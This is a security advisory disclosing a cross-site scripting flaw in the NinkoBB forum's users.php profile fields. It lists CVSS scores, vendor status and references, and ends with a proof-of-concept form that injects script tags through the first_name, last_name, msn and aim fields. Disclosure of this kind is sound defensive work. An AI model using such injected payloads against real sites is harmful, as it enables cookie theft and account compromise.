NinkoBB XSS

2011.10.10
Credit: htbridge
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Vulnerability ID: HTB22652 Reference: http://www.htbridge.ch/advisory/xss_in_ninkobb.html Product: NinkoBB Vendor: NinkoBB ( http://ninkobb.com ) Vulnerable Version: 1.3RC5 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "users.php" script to properly sanitize user-supplied input in "msn","aim","first_name" and "last_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/users.php?a=profile" method="post" /> <input type="hidden" name="first_name" value=""><script>alert('XSS1');</script>"> <input type="hidden" name="last_name" value=""><script>alert('XSS2');</script>"> <input type="hidden" name="msn" value=""><script>alert('XSS3');</script>"> <input type="hidden" name="aim" value=""><script>alert('XSS4');</script>"> <input type="submit" name="profile" value="submit"> </form>

References:

http://xforce.iss.net/xforce/xfdb/62815
http://www.securityfocus.com/bid/44462
http://www.securityfocus.com/archive/1/archive/1/514527/100/0/threaded
http://www.osvdb.org/68897
http://www.htbridge.ch/advisory/xss_in_ninkobb.html
http://www.exploit-db.com/exploits/15330
http://secunia.com/advisories/41933
http://packetstormsecurity.org/1010-exploits/ninkobb-xss.txt


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